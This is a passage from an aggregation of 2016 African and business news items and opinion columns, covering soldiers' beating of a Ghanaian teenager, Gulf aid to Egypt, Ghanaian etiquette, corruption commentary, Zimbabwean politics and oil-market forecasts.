police searched him they found some dagga in his pockets.
22.04.2016 LISTEN

The Ghana Armed Forces say its Military Hospital is set to intervene in the medical treatment of a teenager brutalized by soldiers for five hours.

An ambulance from the 37 Military Hospital drove to the premises of Multimedia Group Limited where the 16-year old Christopher Bamah had concluded an interview on Joy FMs Super Morning Show, Friday.

Public Affairs Director of the Ghana Armed Forces Col Eric Aggrey-Quashie told Joy News, the main reason for coming to Joy studios was to come and pick the young man for treatment at 37 Military Hospital.

Col Eric Aggrey-Quashie

Christopher on April 1, 2016, was brutalized by three soldiers who accused him of stealing a mobile phone.

From 9 a.m to 2:30 p.m, the three, Corporal Samson Attuahene, Collins Agyei Boamah and a third person beat the young boy and handcuffed him to a mango tree.

Christopher and other on-lookers are reported to have begged for his life to the disregard of the three soldiers.

He cried for water while he was handcuffed to his hospital bed at the Kamina barracks, but he was refused.

After his discharge from the clinic, Christopher kept vomiting blood and was recommended to be transferred to the 37 Military Hospital in Accra.

The family could not get him admitted to the facility as the Hospital was said to be full. An uncle who works at Nsawam Government hospital took him in to administer treatment.

It has become a race against time for the family to save the life of Christopher as they struggle to negotiate financial distress in footing their relatives medical bills which keep piling up.

In the latest medical requirement, Christopher has been directed to go for a scan at the Korle-Bu Teaching Hospital.

After hearing the story on Joy FM, Col Eric Aggrey-Quashie got in touch with Christophers uncle who wants treatment at Nsawam to go through.

The Colonel says the 37 Military hospital is on stand-by to take Christopher in if the doctors at the Nsawam Government hospital approves his transfer.

Meanwhile, the Police in Tamale has rejected a claim by the family that it was negligent.

Northern Regional Police Public Relations Officer ASP Ebenezer Tetteh explained that the Police acted professionally when the incident was brought to its attention.

He said Christopher was brought to the police station accused of stealing a mobile phone. In his frail condition, the Police directed that he is taken to a clinic inside the Kamina Barracks. They took his caution statement and granted him police enquiry bail.

The Military also brought the soldiers to the police station where their statement was also taken. The police are investigating the three for assault, he said.

Story by Ghana|myjoyonline.com
Abu Dhabi (AFP) - The United Arab Emirates has allocated $4 billion (3.15 billion euros) to support Egypt whose economy is struggling, state news agency WAM said on Friday.

It said $2 billion "will be allocated for investment in a number developmental fields in Egypt, while the other $2 billion will be deposited at the Central Bank of Egypt to support the Egyptian cash reserve".

WAM said the decision was made by Abu Dhabi's crown prince Sheikh Mohammed bin Zayed al-Nahyan who concluded a visit to Egypt on Friday.

"This support comes in the framework of strategic co-operation and co-ordination between the two countries," it said.

"It also stems from the UAE's firm stand in support of Egypt and its people to promote the reconstruction and development process, as well as in recognition of the pivotal role of Egypt in the region."

The UAE had pledged along with Saudi Arabia and Kuwait a combined $12 billion in aid and investment in March last year to help Egypt's struggling economy.

UAE Prime Minister Mohammed bin Rashid al-Maktoum said at an investment conference in Sharm el-Sheikh at the time that his country's investment includes a $2 billion deposit in the Central Bank, with the rest used to fund projects to be announced later.

The three Gulf countries have channelled billions of dollars to support Egypt since the military ousted Islamist president Mohamed Morsi in 2013.
At the 5th edition of the annual Economic Forum of the Ivorian National Council of Employers, CGECI Academy, (CGECI) which was held in ABIDJAN, the Ivorian Capital, Tony Elumelu and Chris Kirubi were awarded with Lifetime Achievement Awards.

During the formal presentation to honour Elumelu and Kirubi on the leadership and key role they play as African business champions, the Prime Minister of Cote dIvoire congratulated both African Business Leaders and further stressed that his country had a lot of potential to support the development of entrepreneurship and growth of the private sector.

He enjoined young Ivorian entrepreneurs to come forward with their ideas and share them with business champions like Elumelu and Kirubi who have the money to help. ' Mr Elumelu, You are the Pride of Africa' Prime Minister Duncan said.

As he addressed the guests present at the event, Chairman of African investments company, Heirs Holdings, UBA Plc and Transcorp Plc, Mr. Tony Elumelu advocated for the collaboration of the private and public sectors to create value in the global competitive business landscape. He stressed that Africa must encourage champions for economic development. Development is not an option he stated. No one can develop the African continent but us. We must always remember that no one can rescue us. When the private sector operators divorce themselves from the development agenda of the countries in which they operate, everyone suffers.'

"The SMEs are the backbone of any economy anywhere in the world and when governments ignore the private sector, the consequences are stark continued Elumelu. On his part, Kirubi motivated the young entrepreneurs present saying: Africa is a comeback kid. The future of Africa is in the hands of the young people. Of Business influencers who can move the continent towards development he said we have to open the markets in each others' countries. We cannot be swimming in small swimming pools and call ourselves champions'.

Mr. Elumelu tasked entrepreneurs to seek opportunities to accelerate their business success(including through The Tony Elumelu Foundation Entrepreneurship Programme, TEEP). We are champions of African development because we are Africapitalists. Through Africapitalism, I seek to evangelize what works for successful business investments and inspire other entrepreneurs like yourselves. TEEP Elumelus 10-year, $100 million commitment, to identify and empower 10,000 African entrepreneurs, create one million jobs and add $10 billion in revenues to Africas economy.

Since its initiation in 2012 by the Ivorian National council of Employers, the annual economic forum, CGECI Academy, has provided a platform to raise awareness among African entrepreneurs about existing sources of capital and investors available to help grow and develop their businesses.

The forum seeks to change the paradigm of access to finance in Cote dIvoire, creating a platform for sharing experiences and expertise. Furthermore, it aims to present the Ivorian private sector to regional and international partners and highlight the achievements and the opportunities within it. Other activities during the event include the announcement of the yearly business plan competition and a segment dedicated to sharing the experiences and testimonials of entrepreneurs.

The ceremony was attended by over three thousand delegates from across Africa including the Prime Minister of Cote DIvoire, Daniel Kablan Duncan and the Deputy Prime Minister of Mauritius, Sir Anerod Juganauth, amongst other business leaders and government officials.

Instructively, United Bank for Africa Plc (UBA) is one of Africa's leading financial institutions, with operations in 19 African countries and 3 global financial centres: London, Paris and New York.

From a single country operation in Nigeria, Africa's largest economy, UBA has evolved into a pan-African provider of banking and related financial services, to more than 8 million customers, through diverse channels globally.
Culture is unique and dynamic at the same time depending on where one may find him/herself. In Africa and more specifically Ghana, core values are held in high esteem and morality is treated with so much decorum. Some things that one may do or say in Europe or Asia may not be acceptable in Ghana. Jovago brings you 10 things you must avoid doing or saying when in Ghana .

Giving or receiving something with your left hand

This actually, is something that most non-Ghanaians struggle to come to terms with because it is very normal in several other parts of the world. However, Ghanaians see the use of the left hand to give or receive items as well as show directions as very insulting. While in Ghana , kindly try to always use the right hand to avoid incurring the anger of anyone.

Fighting

Fighting may be argued to be a personal thing caused by uncontrollable anger. In Ghana however, it is not acceptable to fight in public and in extreme cases, you can get arrested by the police for doing so. If you have any issues with someone, leave it to the police or security services to handle.

Engage in sexual act

world

This may be seen as extreme and although it rarely happens in other parts of the, It is highly forbidden in Ghana. No one is permitted or allowed either by law or tradition to engage in any sexual act in public. Any deed of this magnitude is reported to the security services for proper action to be taken

No farming on Thursdays

In many rural parts where most tourist sites may be found, farming is absolutely not an activity to undertake on a thursday. It is actually a taboo to farm on Thursdays.It is believed that this is the day when the ancestors go to farm for their own food.

Ancestral beliefs are the reasons given for this although it inhibits development in the agricultural sector as many investors shy away from doing agricultural business there.

No fishing on Tuesdays

Similarly, in most coastal areas in Ghana, fishing is prohibited on Tuesdays. This is also attributed to ancestral beliefs and taboos. Development is at its minimum as investors would seldom do business in a place where it is not allowed to work on certain days.

Never swear

In Europe and certain parts of America, swearing may be allowed to pass. Sometimes it is frowned upon. In Ghana, its a no-go area. You are under no circumstance permitted to use certain words. For instance, the use of sh*t and f*ck are allowed in certain parts of the world at certain times and with people of certain age brackets. However, in Ghana, the mere mention of these words induces punishment from elders and discontempt by colleagues and peers. The use of other vulgar words are also strictly prohibited.

Farting in Public

Press your thumb in someone's direction

This is an act of indiscipline and shouldnt be allowed anywhere in the world. In Ghana, this is highly frowned upon. It is not acceptable for any reason and shows gross disrespect to adults and peers. Whether you are a child or an adult, you have to excuse yourself when you feel the need to attend to natures call.

This is actually a very interesting one and a contradiction of diverging cultures. In Europe, Asia and other parts of Africa, pressing your thumb against other fingers in the direction of someone simply means approval or acceptance. It generally means YES. In Ghana , it denotes an abusive gesture and an insult to ones parents specifically the mother. As much as possible, avoid doing this in any part of the country when you are here.

Never appear before Royalty in provocative clothes or footwear

The way people dress in different parts of the world may vary for several reasons. When you live in Russia (extremely cold regions) and you visit Ghana (very hot and humid), you are tempted to wear something that exposes as much body parts as possible to get some air and coolness. This is normal depending on where you wear it to. When appearing before a chief or royal, it is not acceptable to wear clothes that expose body parts such as cleavage, thighs and back. Also, many ethnic groups do not allow visitors to appear before their chiefs with footwear as it shows a sign of disrespect.

Taking pictures indiscriminately

Lastly, when people visit different countries, there is always the temptation of taking as many pictures as possible to keep memories of these events and people. However, it is not advisable to take a snapshot of everything. In many places , it is allowed to take pictures of everyone or everything freely. In other places, there are strict rules concerning the taking of pictures. To be safe, ensure that you seek permission from appropriate authorities before you take a shot. This way, you have no issues.

Ghana is a beautiful place and everyone is invited. The only thing that stands between your experience and enjoying your trip down here is not knowing what not to do/say in Ghana. Ending up in trouble is the last thing any traveler wants when they travel.
London (AFP) - US President Barack Obama on Friday scotched suggestions that the international community would deploy troops to Libya to prop up the fledgling unity government and fight the Islamic State group.

"There's no plan for ground troops in Libya," Obama said in a joint press conference in London with British Prime Minister David Cameron. "I don't think that's necessary. I don't think it would be welcomed by this new government. It would send the wrong signal."
Some 80 young students of the St. Kizito R/C Junior High School have benefited from a 12 week mentoring programme piloted by the Dream-Believe-Achieve Foundation with support from Vodafone Ghana Foundation, Coca-Cola Ghana, Voltic Ghana Limited and Accra Brewery Limited.

The close out session programme was held last Saturday 16th April at the premises of St Kizito Catholic Church, Nima. The event saw about 250 kids around the community in attendance - students present were from St. Kizito R/C JHS, Nima 1 JHS among others.

Ms Brooke Nuwati, a Communications Consultant and Founder of Dream Believe Achieve Foundation (DBA), commended the young professionals who sacrificed their time, energy and other resources to make the project a success. She was optimistic that, the skills acquired by the pupils will yield the necessary fruits as they interact with their peers and community. She also expressed the teams sincere gratitude to the sponsors for supporting a worthy cause.

Speaking at the ceremony, Executive Director of Salt and Light Ministry and Board Chairman of the Vodafone Ghana Foundation, Rev Dr Joyce Aryee said, integrity is a very important quality that every individual should possess. She entreated the students to stand for what is right and insist that the right thing is done.

Students and mentors were awarded and there were performances and a play by the students. There was also a cake cutting ceremony that saw to the birth of a DBA club in the school. The Head of Vodafone Ghana Foundation and Sustainability, Nana Yaa Ofori-Koree said she was impressed with the sense of responsibility of the students and encouraged them to take up leadership positions in the school to bring about the change they want to see.

The class sessions saw the use of moral stories, illustrations, breakout practical sessions, scenario discussions among others. This to a large extent, helped the mentees to relate practically to the lessons. The Dream-Believe-Achieve project continues to mentor children between ages 11  18 with a goal to develop responsible citizenry. Their focus is to get young professionals to give back towards building a healthy society.

The session came to a close with dance competitions, hula- hooping, face painting and other fun activities.

The same DBA team organised the Braveheart event which brought together over 300 children earlier in February this year.
I mentioned in Part II of this topic that the substantive Minister of Roads and Highways, Mr Inusah Fuseini, was caught on tape "raining" cash on an artiste at an event. I also stated that the National Service Secretariat spent three million US Dollars on eighteen pick-ups, which meant that each unit was purchased at a price of $166,000 (one hundred and sixty six thousand US Dollars), much more expensive that the most luxurious 4x4 vehicle in Ghana.

Then news trickled in that the judiciary service overpaid an aircondition specialist, 10,000 percent more than the amount owed it. Butex Services was to be paid GHC2,734, but was rather doled GHC273,420 (an excess of GHC270,686); all that from the blood and sweat of the citizens!

Mr President, your outfit really transformed the lives of the directors of this company, Butex Services. They must have prayed for a miracle. And then they struck the jackpot, or shall we say, lotto!

The copious cases of theft, embezzlement, and ransacking of the coffers raise many questions. After all, the President says he is fighting corruption. How can that be? I heard that Lauretta Lamptey, the shamed former CHRAJ Boss, who was indicted for massive corruption, was reassigned to the Presidency as an anti-corruption consultant. I am, also, reliably informed that the revenue from Ghana's crude oil in advance of 20 years have been used up? Eiii, what kind of John is John?

So the issue of John Mahama's inclusion in the Panama Papers, allegedly on pages 1,000,059 thereabout, is only the tip of the iceberg. It comes as no surprise at all; and why would it be when government spent 2.1 billion US Dollars on elections 2012?

Click on this link: http://www.forbes.com/sites/riskmap/2016/04/21/ghanas-currency-risk-to-persist-despite-change-in-central-bank-leadership/#5cf47bd4366f

No wonder everyone else is stealing directly under his nose, but he is unable to smell the stench. The sad part is that in a radio interview on his sham "accounting to the people" tour, he stated that Ghanaians who do not feel prosperity lack skills. I beg your pardon, Mr President!

That was a direct insult to the integrity, dignity, and respect of the nation he presides over.

Conversely, President Mahama told the electorate to vote him back to power because in 2017 he will put money into the pockets of the people. A couple of days ago, he backtracked and denied that he could do that, after all. Mr President, John Mahama, you have lied so much so that people do not believe you anymore. Of course, you must have noticed how chiefs and elders frown at you these days, and how your government officials and campaigners are chased out of the communities they dare venture into.

Back to the Panama Papers, Mr President, it remains to be seen where the billions are. Well, the mathematics substantiate the reality of this grim situation. You inherited an economy with an overall debt of 8 billion dollars. The current debt stock stands at close to 40 billion dollars. The signature projects are not up to 5 billion dollars, so where is the difference? Word is making the rounds that in the first quarter of 2016, your government borrowed approximately 14 billion cedis to service the interest on the debt owed. How can that be? How can you borrow money to pay interest on debt, which adds to the debt, which you have to borrow again to pay accumulated interest on; and the chain reaction of borrowing/begging/selling honour and dignity continues unabated.

The whole nation needs to know what happened to the money, and why each Ghanaian now owes approximately 6,000 cedis (sixty million old cedis). In fact, you have caused us to suffer without provocation, and in the process, have festered the wounds of the ailing majority. You say that you have transformed lives. Well, the nuance of the day tells a different story; one of dullness and despondency, quite ungermane to the expectations of all.

Besides, I hope that your statement about creating 93,000 jobs was just a joke because if you meant it, then that would be another lie that you have added to the endless untruths that you have said in 8 years. These jobs are mere daydreams because the 93,000 that you claim have gotten employment under YEA are still suffering, jobless, expectant souls hoping that this lie will manifest into a truth. Of course that is another daydream!

#JohnMahamaMustGo #ChangeIsComing
Information reaching the Media Foundation for West Africa (MFWA) indicates that detained journalist Alhagie Abdoulie Ceesay has disappeared.

According to MFWAs sources, Ceesay was reportedly taken to hospital on April 12, 2016 and was reported missing from the hospital on April 20.

While newspaper and official reports claim Ceesay has escaped from the hospital, many believe he has been killed.

Prison authorities claim he escaped but thats illogical as he is being watched 24 hours. The family also confirm that they are not in contact with him, a source said.

Ceesay, who has been in detention for over nine months was first arrested on July 2, 2015, briefly released and re-arrested. After a two-week detention in which Ceesay was held incommunicado with no access to a lawyer or his family, he was brought before a Magistrates Court on August 4, 2015 and charged with a single count of sedition.

The prosecution accused him of distributing photos of Gambian President Yahya Jammeh with a gun pointed at him. On November 18, 2015, while the case was still ongoing at the Magistrates Court, the state pressed a fresh seven-count charge against the journalist. The case before the Magistrates Court was later withdrawn.

His reported disappearance comes barely a week after opposition figure, Solo Sandeng died in custody for leading a pro-democracy protest on April 14, 2016 in Banjul. Sandeng together with more than 20 others were reportedly arrested by paramilitary personnel and taken to the infamous Mile II Prison. They were reportedly transferred to the headquarters of the notorious National Intelligent Agency where they were allegedly tortured. Sandeng reportedly went into coma and died on April 16.

The MFWA is worried that Ceesays case is sadly taking the course of journalist Ebrima Manneh who disappeared while in detention in 2007. Manneh, a reporter with the Daily Observer, was arrested by plainclothed officers from the National Intelligence Agency (NIA) at his newspapers office on July 7, 2006. After his arrest, Manneh was spotted on several occasions being moved in and out of various police stations and detention centres.

One year after his arrest, the MFWA received reports that Manneh was hospitalised for high blood pressure at The Gambias main hospital and was being watched by paramilitary officers. Despite overwhelming eyewitness evidence that the government arrested and detained Manneh incommunicado, the government has repeatedly denied taking him into custody. Manneh has since not been seen.

The MFWA calls on ECOWAS and AU to independently investigate Ceesays alleged escape to ensure the journalists safety and also prevent a recurrence of the Ebrima Manneh case.
22.04.2016 LISTEN

Many a person finds convenience in pointing to the politician when the subject of corruption is mentioned. Whiles some believe that there are a few genuine and incorruptible politicians, others think that politics is synonymous with corruption. Be that as it may, if an explanation of corruption as illegal, bad, or dishonest behaviour, especially by people in positions of power is anything close to a good definition, then we ought to have a redefinition of the content of the basket of corruption.

Corruption in various forms is widespread through every fabric of the Ghanaian society; the officer adjudicating that legal case, the man at the border, the headmaster in the quiet of his office, that market woman under her shed, that contractor and consultant expected to put up a classroom to shelter my brothers and sisters in the village, that pastor and Imam behind the lectern and of course that notorious police officer who is always bent on taking a Cedi from my father when he drives his rickety vehicle past the barrier, are all corrupt.

It is fathomable from the aforementioned Synecdoche that, the social, economic, moral and religious clitoris of this country has been circumcised by this single but dangerous canker. This has cast doubt on the minds of many that corruption can ever be cured from our society.

Was your verdict based on that envelope you received? Did you allow him into this country without due diligence because of personal interest? Did you offer that admission because there was payment either in cash or in kind? Did you over-measure for my mother and reduce the equivalent from that other person? Did you not ensure the concrete was up to the standard specified for the construction of my village clinic? Did you deny your congregation the truth because that big man right in front of you is a culprit? Naa, did you sell that piece of land to the detriment of the teeming youth in your traditional area? You need not be told that you are corrupt. Say it to yourself and ameliorate your guilt.

I did not want to touch the police in this write-up, but my conscience has forced me. It is unimaginable that all police are now with MTTD. They stop almost everything like a vehicle and will always find fault with the compromising and ignorant driver who in the first place is corrupt and will not do things right. It is interesting that these days, commercial drivers do not stop before the barrier; they stop few metres after it, in order to blind the passengers of what they do with the police. Corrupt activities by the police are becoming normal amongst the citizenry. Care must be taken before our systems breakdown completely. I remember with fear, a year ago, when my student wrote an essay expression his desire to be a police officer because they take bribe in addition to their salary.

Our recent past has been corrupt and our present is heavily corrupt. The only fleeting chance we have is our future. As a people, the least we can do is that we prevent children from being exposed to our corrupt activities. Not long ago, Citizenship Education was introduced in our educational system. There is every need for this subject to be strengthened and have at its centre, corruption and related issues. We owe it to posterity to make sure of this.

Let all governments make it be seen that, there is at least, a moderate fight against corruption. To the youth, we can be better in our old age than the aged currently are, if we change attitude a bit. You man of God, descend that podium if you cannot live an exemplary life and stop claiming piety. Mr Politician, perhaps, the fact that your corrupt practices have immediate impact on almost everybody is the reason we hear them more. Some will argue many depend on you thereby forcing your hand. Be reminded to remember, the next time you go round promising people heaven on earth, that pacta sunt servanda.

Abdul-Rahaman Jimba Ibn Nuhu

Wa

+233207896079/242347160

[email protected]
The Commission on Human Rights and Administrative Justice (CHRAJ) says it is ready to investigate the case involving the 16-year-old boy alleged to have been brutalized by two military officers for stealing a mobile phone.

According to the Deputy Commissioner of CHRAJ, Joseph Whittal, the 1992 Constitution of Ghana mandates CHRAJ to conduct investigations into such human rights violations but explained that could only happen after an official complaint has been made to them.

Deputy CHRAJ boss, Joseph Whittal

On April 1, 16-year-old Christopher was brutalized by three military officers after he was accused of stealing a mobile phone in Tamale.

Narrating the incident on the Joy FMs Super Morning Show, the victims brother disclosed the three officers Corporal Samson Attuahene, Collins Agyei Boamah, and a third person grilled Christopher through severe forms of punishment from 9 a.m. to 2 a.m. They chained him to a mango tree and subjected him to severe beating after which they sat for a chat.

Brother of the victim

Christopher is reported to have begged for his life but his plea was ignored by the trio. After several plea, Christopher was rushed to the Kamina barracks hospital and chained to his bed.

He cried to be given water but it was not offered to him whilst in the hospital, the brother continued.

Christopher [he could not walk so he had to be supported]

After he was discharged from the hospital, it was realized that Christopher was unable to sit down and he was vomiting blood. He was later recommended to be transferred to the 37 Military Hospital in Accra.

He was transferred on a public transport to Accra by the brother.

Speaking on Joy FMs Top Story, Mr. Whittal expressed surprise about the actions of the military men.

The Ghana Armed Forces (GAF) is known to be disciplined, he said adding Of late they have been indiscipline in their relationship with the public.

Reacting to the issue, private legal practitioner, Francis Sosu said the actions of the military men contradict Article 15 of the 1992 Constitution.

Article 15 says: (1) The dignity of all persons shall be inviolable. (2) No person shall, whether or not he is arrested, restricted or retained, be subjected to  (a) torture or other cruel, inhuman or degrading treatment or punishment; (b) any other condition that detracts or is likely to detract from his dignity and worth as a human being.

Mr. Sosu who also doubles as the lawyer for the victim blamed a Supreme Court verdict for clipping the powers of CHRAJ.

The Supreme Court had the opportunity to determine whether CHRAJ has the power to undertake investigations Suo Motu (without a complaint) but it says the Commission had to wait for complaints before it can act.

Story by Ghana | Myjoyonline.com | Austin Brako-Powers | Email: [email protected]
News / Regional

by Bongani Ndlovu

REVOLUTIONARY music group Light Machine Gun (LMG Choir) founder Give Nare has died.He was 79.Nare died on Wednesday at Gwanda Hospital after suffering a heart attack.LMG  the choir behind hit songs Kubuhlungu and Yithi Laba contributed immensely to the liberation struggle. The group which was set up by the late Vice President Joshua Nkomo to sing revolutionary songs was made the official Zipra Choir in Zambia since 1978. During the war, they encouraged revolutionaries.Initially, the choir had founders Lichani Moyo who disappeared in 1984 after being abducted, Mawuda Moyo and the now late Nare.Others, Gladys Moyo, Happiness Sibanda, Albert Nyathi and the late Solomon Skhuza joined the group at a later stage.Sibanda said they were saddened by the death of Nare whom she described as their pillar of strength."Nare was a father and mentor to the group. He was among the pioneers of the group which was chosen to accompany the late Vice President Joshua Nkomo from Zambia to the new Zimbabwe after the war," said Sibanda."It's unfortunate that Nare died after losing his wife who died a month ago. I can't imagine what his four daughters are going through at the moment."We can't run away from fate, although it's a sad chapter in our country's history."Sibanda said they wanted Nare to be honoured for his liberation war contribution and have since submitted that request to Zanu-PF."I called [Kembo] Mohadi who in turn instructed me to write a letter of request to Zanu-PF Matabeleland South provincial structures who'll process the papers. We expect him to be buried on Saturday if all goes well," said Sibanda.She said mourners are gathered at 1103 Phakama Township in Gwanda."We urge every ex-combatant even Chinx, Albert Nyathi and those who worked with him to come and support his family in Gwanda.We should show unity in this time of great distress," said Sibanda.
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business New orders to contribute 25% to FY17 profit: Power Mech Power Mech Projects has bagged orders worth Rs 195.86 crore from Doosan Power Systems India and Alstom Bharat Forge, the company informed exchanges yesterday.
Opinion / Columnist

"Outspoken Zimbabwe National Liberation War Veterans' Association chairman Christopher Mutsvangwa is back in the spotlight claiming that Joice Mujuru failed to protect female combatants abused by senior male officers during the war," read the report.I salute Comrade Chris Mutsvangwa for flagging this issue. For all the man-years of speeches and thousands of square kilometres of written articles, reports and stories by leaders like President Mugabe on the heroics of the our liberation war heroes and heroines, "Magamba urusunguniko", one who be hard pressed to find anything about the sexual abuse our female folk, some as young as 9 years old, suffered at the hands of Magamba!I am disappointed by Mutsvangwa's selective memory; it was not only the combatant women and girls who were sexually abused during the liberation war. Anyone who has bothered to find out about the goings on during the liberation war would know that it was normal for young women and girls, vana Chimbwido, to be stay at the base with Magamba for weeks on end. I hope that Comrade Mutsvangwa does not think Chimbwidos spent all these weeks messaging Magamba's tired feet only!The problem with war vets like Chris Mutsvangwa is that they believe all those who carried the gun, Magamba, are a cut above everyone else. The women combatants who were sexual abused suffered but the Chimbwidos who too were sexually abused did not suffer, they enjoyed it and Magamba were doing them a great favour!The sexual abuse of our women folk, regardless of whether they were Magamba carrying guns or Chimbwido feeding the fighting comrades, is the dark side of our liberation war must discussed openly and not swept under the carpet. The abuse was a historic fact worthy of being covered as the more glorious stories of Mai Mujuru shooting down the enemy helicopter!"As a party, we do not want to be dragged into a personal fight between Mujuru and Mutsvangwa, so we will not comment," said Rugare Gumbo, the spokesperson of Mujuru's ZimPF party.The comment must be dismissed with the contempt it rightly deserves; the sexual abuse of our women during the war is not a personal issue but a national one worthy of our serious scrutiny.It is not just Mai Mujuru who let our women folk down, the rest of the Zanu PF high command did! The duty of care for the rights and dignity of our women was not Joice Mujuru's responsibility alone. Mutsvangwa should be demanding answers from VP Mnangagwa and President Mugabe alike, if he is being sincere.Indeed the spotlight must shine on the dark, the sexual abuse, even more than on positive not just for historic record but more significantly so that we learn from the mistakes. If Magamba committed serious crimes then endless speeches portraying them as nothing short of infallible gods is completely false!Magamba are fallible mortals like everyone else and the sooner people like Chris Mutsvangwa and President Mugabe get off their high horses riding roughshod over the nation's freedoms, human rights and human dignity under the false pretence that they are the infallible Magamba the sooner the nation can address the big issues of corruption, vote rigging, etc. affecting the nation.
business Reliance Q4 net at Rs 7320 cr, GRMs at $10.80/bbl Reliance Industries has posted standalone net profit at Rs 7320 crore in the January-March quarter. During the quarter, gross refining margins (GRMs) stood at USD 10.80 per barrel.
business Buy Canara Bank 205 Call, says VK Sharma VK Sharma of HDFC Securities is of the view that one can buy Canara Bank 205 Call.
business Enter Infosys at around Rs 1160, says Ashwani Gujral Ashwani Gujral of ashwanigujral.com is of the view that one can go into Infosys at around Rs 1160.
Opinion / Columnist

"We are stockholders of the country," said Zimbabwe's Defence Forces Commander General Constantine Chiwenga. "Some are stakeholders. Stakeholders will come and go, but stockholders have nowhere to go, so we stockholders, we come with it (Zimbabwe)."These are echoes of "We will never salute anyone with no liberation war credentials!" by the General and other top brass securocrats! It was a pre-emptive warning in case the people elected Morgan Tsvangirai president! This time the remark is directed at Grace Mugabe and her G40 faction."To the extent that stockholders are stakeholders, the people are the only stockholders in and of Zimbabwe," twittered Higher Education Minister, Professor Jonathan Moyo, the self-appointed spokesperson of the phantom G40 faction  President Mugabe keeps warning against factional fighting in Zanu PF but has yet to acknowledge the G40 faction.One is tempted to agree with Minister Moyo but must resist the temptation. The Minister cheered and applauded when the securocrats issued the same treasonous statements when it was Tsvangirai who was their target.Besides nothing Professor Moyo says should ever be taken at face value; since when has he become the champion of the people? It is no secret that ever since Professor Moyo returned from Kenya and joined Zanu PF in 1999, he has played a pivotal role in the party's vote rigging shenanigans. He clearly did not believe the people were the "only stockholders in and of Zimbabwe" then!To comeback to General Chiwengwa, he is just a simpleton who was promoted way above his level of competence and hence the reason he is wittering.The real stockholders of Zimbabwe are the people and they, and they alone, have THE say on who should be president of the country and who should step down. It is not for General Chiwengwa or any of his fellow security services chiefs to tell the people who can and cannot be president.General Chiwenga was quoting almost word for word what one of the war vet said to President Mugabe after he tried to dismiss war vets as affiliate members of Zanu PF. The President was told in no uncertain terms that he and other party leaders are the stakeholders who can "come and go" and the war vets are the true owners of Zanu PF!President Mugabe brainwashed the General and his fellow securocrats into believing they are more important than the people and they have the power to veto the people's democratic wish. What goes round comes round the General is now parroting what he was taught and so he will not salute Grace Mugabe since she too has no liberation war credentials. None!
For crude to rally higher, it needs to close above those levels  and the March high  next month on a weekly basis.

When the mainstream was far too bearish on crude, I warned it looked bullish in Money Morning on 1 March. I said,

Crude looks ready to break out higher. Looking at the daily charts, should Brent close above US$37 and WTI close above US$34 per barrel, it may be game on for crude. The rally probably wont be huge. If it happens, crude should jump to US$4042 per barrel  a major technical resistance level.

As youre likely aware, my target has well and truly been hit.

Brent crude, the international benchmark, is trading higher at US$44.88 per barrel. Brent has rocketed 61.6% from the low of US$27.83 per barrel on 20 January.

West Texas Intermediate (WTI), also known as US crude, is also trading higher at US$43.54 per barrel. WTI has surged 67.1% from the low of US$26.05 per barrel on 2 February.

In my view, theres a bit of room left in the tank for higher prices. For crude to rally higher, it needs to close above those levels  and the March high  next month on a weekly basis. In my view, this will be a challenge. So, if you own any oilers, I suggest locking in your gains for now.

Ill explain

Buy on the rumour, sell on the fact

Traders have shifted their focus away from the global supply glut. Theyre looking towards signs of slowing US shale production, and continued hopes that major producers will work together to freeze output.

Since mid-February, there have been a countless number of rumours suggesting it will happen. Unfortunately, this hope has been met with disappointment. Over the weekend, we heard the words no deal. Saudi Arabia said it wont cut production unless Iran does the same.

Its hardly a surprise. I warned you in Money Morning on 15 March,

While Russia and Iran may strike a deal, seeing crude rallying higher, Saudi Arabias probably against Iran producing more oil. Aside from their recent disagreements in the Middle East, its threatened by Irans rising influence in the region. And unless Irans allowed to produce four million barrels per day, we probably wont see a deal reached by April. So, crudes bear market rally should end soon. If Im right, crude  and stocks  could remain choppy and elevated into Aprils OPEC meeting. But when the deal shows signs of breaking down, crude may re-test the US$30 per barrel level sometime in May. If this happens, stocks should plunge with crude.

Crude rallied into last weekends producers meeting. And, strangely, it rallied following the meeting this week!

Of course, theres a reason for everything.

Dont get caught buying at the top

Kuwait called a three day oil strike, cutting production by nearly 50% during the ordeal. Workers feared reduced salaries, benefits and staff layoffs will be part of a planned overhaul of the public oil and gas sector.

Following the strike, there were rumours suggesting the supply cuts were back on the table. These were dismissed by Russia. In fact, Russia seems to be leaning strongly the other way.

Russias Energy Minister, Alexander Novak, said it could in theory increase oil output, and, was never ready to cut production. Talking about this supply story, Reuters elaborates,

Russia said on Wednesday it was prepared to push oil production to historic highs, just days after a global deal to freeze output levels collapsed and Saudi Arabia threatened to flood markets with more crude. Energy Minister Alexander Novak said Russia was in theory able to raise production to 12 million or even 13 million barrels per day (bpd) from current record levels of close to 11 million bpd. Meanwhile, Iran, determined to regain market share following the lifting of international sanctions last January, reiterated its intention to reach output of 4 million bpd as soon as possible. With major producers in the Middle East and Russia seemingly racing to raise production, much will depend on U.S. shale drillers and demand to determine how long the global glut lasts which sees between 1 million and 2 million barrels of crude pumped every day in excess of demand. Any hope of market re-balancing from the current surplus in supply (lies) on the predicted decline in U.S. oil production, French bank BNP Paribas said. IEA chief Fatih Birol said on Thursday he expected the oil market to come back into balance from oversupply by next year, although he warned that this was provided there were no major economic shocks.

I doubt any of these optimistic forecasts will playout. When it comes to forecasting, investment banking firms have the worst track record. And of course the International Energy Agency (IEA) will be bullish on crude  higher prices are good for business.

By the sounds of it, producers are looking to flood oil markets with more supply. Meanwhile, theyll try and create rumours that production cuts are back on the table. No doubt, theyll tempt punters to buy into the rumour that the cuts will happen during the June meeting.

Reviewing the previous bounce, we could see crude jump into June. That said, I do have my doubts. Next week Ill get into the reasons why in more detail.

For now, the warning is clear: lock in your gains. Its better to be safe than sorry. Remember, you can always buy your oilers back later, if crude closes above the March high next month.

In this environment, Im being cautious and sitting mostly on the sidelines. I expect the most indebted crude operators to go bankrupt this year. As it stands, there are only three oil stocks in the Resource Speculator portfolio. Readers profited by 242% from an oiler earlier this year. Another oiler is up around 70% on the Resource Speculator buy list. And our last oiler hit crude this weekjumping 35%. But while weve managed these gains in a few good stocks, in most cases I wouldnt recommend the sector.

When the time is right, Ill recommend buying multiple crude oil stocks this year.

If you want to know more on this story, click here.

Regards,

Jason Stevenson,

Resources Analyst
LOS ANGELESAdult star Venus Lux has unveiled a new option for fans looking to find out more about AVN's reigning Transsexual Performer of the Year. For a limited time Lux will be offering Venus Box, a mystery treasure trove of her own kinky wares, at VenusLuxStore.com.

